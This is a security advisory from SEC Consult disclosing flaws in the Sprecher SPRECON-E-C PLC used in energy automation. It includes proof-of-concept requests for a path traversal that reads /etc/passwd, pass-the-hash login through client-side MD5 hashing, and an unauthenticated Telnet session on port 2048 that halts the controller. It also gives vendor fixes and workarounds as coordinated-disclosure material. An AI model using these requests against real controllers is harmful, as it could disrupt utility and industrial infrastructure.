SEC Consult Vulnerability Lab Security Advisory < 20180131-0 >
=======================================================================
title: Multiple Vulnerabilities
product: Sprecher Automation SPRECON-E-C, PU-2433
vulnerable version: <8.49 (most vulnerabilities, see "Vulnerable version" for
details)
fixed version: 8.49 (most vulnerabilities, see "Solution" for details)
CVE number: -
impact: Medium
homepage: https://www.sprecher-automation.com
found: 2017-08-15
by: T. Weber, C.A. (Office Vienna)
SEC Consult Vulnerability Lab
An integrated part of SEC Consult
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"Sprecher Automation GmbH offers switchgears and automation solutions
for energy, industry and infrastructure processes. Our customers are
power utilities, industries, transportation companies, municipal
utilities and public institutions.
Company-own developments and cooperations with technology
partners lead to a unique product portfolio consisting of traditional
electrical technologies as well as high-tech electronics."
Source: https://www.sprecher-automation.com/en/
Business recommendation:
------------------------
SEC Consult recommends to immediately patch the systems and follow the
hardening guide provided by the vendor (SEC Consult did not have access to the
hardening guide in order to review it).
A thorough security review should be performed by security professionals as
further security issues might exist within the product.
Vulnerability overview/description:
-----------------------------------
1) Authenticated Path Traversal Vulnerability
The web interface of the Sprecher PLC suffers from a path traversal
vulnerability. A user which is authenticated on the web interface,
which is intended as read-only interface, can download files with the
permissions of the webserver (www-data).
Files like "/etc/shadow" are not readable for the webserver.
2) Client-Side Password Hashing
The password hashes which are stored on the system can be directly
used to authenticate on the web interface (pass-the-hash) since the password
is hashed in the browser of the user during login.
3) Missing Authentication
The PLC exposes a Telnet management service on TCP port 2048.
This interface can be used to control the PLC and does not require any
authentication.
4) Permanent Denial of Service via Portscan
An aggressive TCP SYN scan on a large amount of ports triggers a denial
of service of the PLC service. This results in an persistent DoS of the
standby PLC in an active - standby pair. Manual operator intervention is
required to restore service availability.
5) Outdated Linux Kernel
An ancient Linux kernel version with a high number of known security weaknesses
is used for the PLC base operating system.
Proof of concept:
-----------------
1) Authenticated Path Traversal Vulnerability
Reading "passwd" is possible by triggering the following request:
-------------------------------------------------------------------------------
GET /webserver/cgi-bin/spre.cgi?4_1=../../../../../../../etc/passwd HTTP/1.1
Host: <IP-Address>
Cookie: sid=<SESSION-ID>
Connection: close
Upgrade-Insecure-Requests: 1
-------------------------------------------------------------------------------
The file is directly fetched from the system:
-------------------------------------------------------------------------------
root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
[...]
-------------------------------------------------------------------------------
2) Client-Side Password Hashing
The passwords are hashed in JavaScript before they are transmitted to the
device. Therefore the hash is as good as the password.
The following request shows a login process:
-------------------------------------------------------------------------------
POST /webserver/cgi-bin/spre.cgi HTTP/1.1
Host: <IP-Address>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Referer: http://<IP-Address>/Webserver.html?locale=de
Content-Length: 57
Connection: close
cgi_time&user=admin&pswd=<md5-hash>
-------------------------------------------------------------------------------
3) Missing Authentication
An administrative interface was presented after connecting to port 2048 via
Telnet:
$ telnet <IP-Address> 2048
100 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $
Scheduling mode: application timer/timer-tick preserving
Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved.
HELP
104 OK: Portable IEC 61131-3 RT Scheduler for Linux (RTK) $Revision: 1.17 $
Scheduling mode: application timer/timer-tick preserving
Copyright (c) kirchner SOFT GmbH 1994-2002. All rights reserved.
HELP, ? .......................... show this help
QUIT, EXIT ....................... quit command session
STOP ............................. stop execution
CONT [TASK|EP] <id> .............. continue execution
STRT ............................. start system
REST ............................. restart system if breaked
HALT ............................. quit scheduler
SHOW [TASKS|SCHED|REVISIONS] ..... show information
SHOW [BREAKPOINTS] ............... show breakpoint list
EXEC <TASK> <id> ................. execute a task
EXEC_MS <ms> [flags] ............. execute code for a specific time
EXEC_CYCLES <no> [flags] ......... execute code for cycles
STEP TASK <id> <INTO|OVER|OUT> ... single step (task)
STEP EP <id> <INTO|OVER|OUT> ..... single step (task of EP)
ADD_BREAKPOINT <bp> .............. add breakpoint
DELETE_BREAKPOINT <bp|ALL> ....... delete breakpoints
ENABLE_BREAKPOINT <bp|ALL> ....... enable breakpoints
DISABLE_BREAKPOINT <bp|ALL> ...... disable breakpoints
READ <variable> .................. read variable as string
READ_LONG <variable> ............. read variable as long
READ_DOUBLE <variable> ........... read variable as double
WRITE <variable> <value> ......... write variable with string const.
WRITE_LONG <variable> <value> .... write variable with long value
WRITE_DOUBLE <variable> <value> .. write variable with double value
GET_LONGNAME <variable> .......... get variable information
GET_TYPENAME <variable> .......... get variable information
CHECK_VAR <variable> ............. check if variable exists
USER name ........................ identify user
PASS pw .......................... authenticate with password
BIN .............................. switch to binary protocol mode
The PLC can be restarted with the "HALT" command (PLC returns after about 30 seconds):
HALT
200 OK: shutting down application tasks
201 OK: waiting for application tasks
202 OK: shutting down system
Connection closed by foreign host.
4) Permanent Denial of Service via Portscan
An aggressive portscan triggered a persistent denial of service of the standby PLC
in an active - standby setup.
5) Outdated Linux Kernel
By using the path traversal vulnerability (1) the Linux kernel version has been
retrieved:
-------------------------------------------------------------------------------
Linux version 2.6.20-sp16 (kd@jeannie) (gcc version 4.4.6 (Buildroot 2011.05))
#1 PREEMPT Mon Feb 29 12:06:28 CET 2016
-------------------------------------------------------------------------------
Vulnerable versions:
-----------------------------
The following versions are affected by the identified vulnerabilities:
1) Authenticated Path Traversal Vulnerability
all versions < 8.49
2) Client-Side Password Hashing
all versions < 8.49
3) Missing Authentication
all versions
4) Permanent Denial of Service via Portscan
all versions
5) Outdated Linux Kernel
all versions < 8.49
Vendor contact timeline:
------------------------
2017-09-22: Requesting vendor security contact and encryption keys
2017-09-25: Vendor provides S/MIME certificate for encryption
2017-09-25: Advisory is submitted to the vendor
2017-09-25: Call with vendor contact. Contact states that the vulnerabilities
are known and fixed in different newer firmware versions.
Contact will provide a list of firmware versions with the fixes.
2017-10-02: Requesting update.
2017-10-02: Vendor states they will provide feedback by the following week.
2017-10-12: SEC Consult sends reminder for requested information.
2017-10-13: Vendor states they will provide missing information until 2017-10-20.
2017-10-20: Vendor requested some more time (2017-11-03) to prepare hardening
guide to be linked in advisory.
2017-11-03: Vendor provides affected and fixed versions, workaround information
and reference to hardening guideline
2018-01-29: Vendor provides an update regarding the hardening guide document ID.
It was changed to from 94.2.915.95 to 94.2.913.50.
2018-01-30: Vendor requested changes for the "passwd" file in the advisory.
Removed the Vendor-specific user accounts in the PoC.
2018-01-31: Coordinated public release.
Solution:
---------
1) Authenticated Path Traversal Vulnerability
Fixed in version 8.49 (available since 2016-05-13)
2) Client-Side Password Hashing
Fixed in version 8.49 (available since 2016-05-13)
3) Missing Authentication
see workaround
4) Permanent Denial of Service via Portscan
see workaround
5) Outdated Linux Kernel
Fixed in version 8.49 (available since 2016-05-13)
Workaround:
-----------
1) Authenticated Path Traversal Vulnerability
As a workaround, if a firmware update is not feasible due to operational constraints,
the webserver can be deactivated. The webserver is not necessary for operation,
as all maintenance can be done via the SPRECON-E service program.
2) Client-Side Password Hashing
see (1)
3) Missing Authentication
Remote debugging of the Software-PLC is possible via the "secure service channel"
instead of this Telnet service.
The optional Telnet service can be disabled to mitigate this vulnerability.
(According to the vendor it is disabled by default.)
See the vendor's hardening guideline available for all registered customers:
https://download.sprecher-automation.com/de/login (document ID 94.2.913.50).
4) Permanent Denial of Service via Portscan
According to the vendor the denial of service via portscan can be mitigated using
the packet filter.
See the vendor's hardening guideline available for all registered customers:
https://download.sprecher-automation.com/de/login (document ID 94.2.913.50).
5) Outdated Linux Kernel
no workaround available
Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult
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Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich
About SEC Consult Vulnerability Lab
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EOF T.Weber / @2018
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